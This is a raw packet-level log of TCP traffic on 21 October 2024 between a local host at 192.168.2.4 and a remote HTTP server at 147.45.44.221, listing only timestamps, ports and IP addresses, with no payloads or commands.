Oct 21, 2024 08:47:30.332772017 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.332782030 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.332787037 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.332799911 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.332819939 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.332829952 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.332829952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.332840919 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.332858086 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.332860947 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.332870007 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.332876921 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.332880020 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.332892895 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.332904100 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.332906961 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.332931042 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.332947016 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.348535061 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.348588943 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.348772049 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.348782063 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.348792076 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.348804951 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.348814964 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.348824978 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.348834038 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.348845005 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.348855972 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.348865986 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.348876953 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.348885059 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.348925114 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.348925114 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.348925114 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.348925114 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.348925114 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.348925114 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.349029064 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.349147081 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.349157095 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.349168062 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.349176884 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.349188089 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.349198103 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.349205017 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.349231005 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.349245071 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.349332094 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.349342108 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.349351883 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.349373102 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.349397898 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.349401951 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.349412918 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.349421978 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.349432945 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.349447012 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.349462986 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.349473000 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.349478006 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.349483967 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.349509001 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.349519014 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.349522114 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.349551916 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.349553108 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.349602938 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.349606991 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.349647045 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.349678040 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.349694967 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.349721909 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.349735022 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.350303888 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.350348949 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.350356102 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.350361109 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.350385904 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.350404978 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.350415945 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.350425959 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.350435019 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.350444078 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.350455046 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.350464106 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.350481987 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.350491047 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.350492954 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.350505114 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.350514889 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.350522995 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.350524902 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.350536108 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.350539923 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.350563049 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.350586891 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.350594044 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.350622892 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.350627899 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.350632906 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.350681067 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.350688934 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.350701094 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.350706100 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.350713968 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.350732088 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.350743055 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.350743055 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.350754976 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.350760937 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.350785017 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.350802898 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.350809097 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.350816965 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.350853920 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.350862026 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.350864887 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.350874901 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.350883961 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.350898981 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.350920916 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.351082087 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351129055 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.351207018 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351217985 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351222992 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351241112 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351253033 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351262093 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351268053 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.351274967 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351294041 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.351295948 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351306915 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351311922 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.351317883 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351329088 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351335049 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.351340055 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351351976 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351358891 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.351363897 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351382017 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351392984 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.351401091 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351403952 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.351413965 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351424932 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351434946 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351440907 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.351440907 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.351448059 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351457119 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351459980 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.351489067 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.351717949 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351728916 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351747036 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351757050 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351766109 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351768017 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.351775885 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351778984 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.351787090 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351799965 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351810932 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.351835012 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.351877928 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351890087 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351898909 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351908922 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351919889 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351923943 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.351932049 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351941109 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.351943970 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351955891 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351958036 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.351977110 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.351984024 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.351991892 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.352006912 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.352014065 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.352032900 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.352034092 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.352046013 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.352051973 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.352082968 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.352092028 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.352102995 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.352138996 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.352210999 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.352229118 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.352237940 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.352248907 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.352262020 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.352262974 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.352273941 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.352281094 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.352287054 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.352299929 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.352329969 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.352372885 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.352382898 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.352401972 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.352412939 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.352413893 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.352423906 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.352436066 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.352437019 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.352447033 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.352458954 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.352464914 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.352468967 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.352478027 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.352505922 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.352508068 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.352539062 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.352549076 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.352552891 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.352576017 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.352591038 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.352613926 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.352624893 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.352634907 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.352660894 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.352684975 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.398269892 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.398284912 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.398289919 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.398417950 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.452085018 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.452299118 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.452310085 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.452321053 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.452333927 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.452343941 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.452354908 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.452363968 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.452364922 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.452380896 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.452390909 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.452399969 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.452411890 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.452421904 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.452433109 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.452441931 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.452450037 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.452455997 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.452467918 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.452476978 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.452486038 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.453183889 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.467964888 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468014002 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.468126059 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468136072 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468153954 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468163967 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468173981 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468178034 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.468183994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468195915 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468204975 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468216896 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468225956 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468235016 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.468235016 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.468238115 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468249083 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468257904 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.468275070 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.468291998 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.468390942 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468410015 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468419075 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468436003 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.468466043 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468514919 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.468529940 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468539953 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468553066 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.468578100 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.468595028 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.468631983 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468641996 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468669891 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.468764067 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468774080 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468784094 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468792915 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468803883 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468806982 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.468818903 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.468822002 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468837023 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468843937 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.468848944 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468861103 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468868017 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.468888998 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468892097 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.468900919 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468909979 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468934059 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468934059 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.468949080 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.468977928 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468987942 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.468995094 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.468997002 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.469017029 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.469027042 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.469558954 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.469607115 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.469609022 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.469619989 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.469646931 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.469649076 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.469660044 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.469660044 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.469671965 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.469681978 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.469687939 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.469695091 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.469703913 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.469717026 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.469717979 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.469717979 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.469738007 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.469738007 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.469749928 CEST	80	49732	147.45.44.221	192.168.2.4
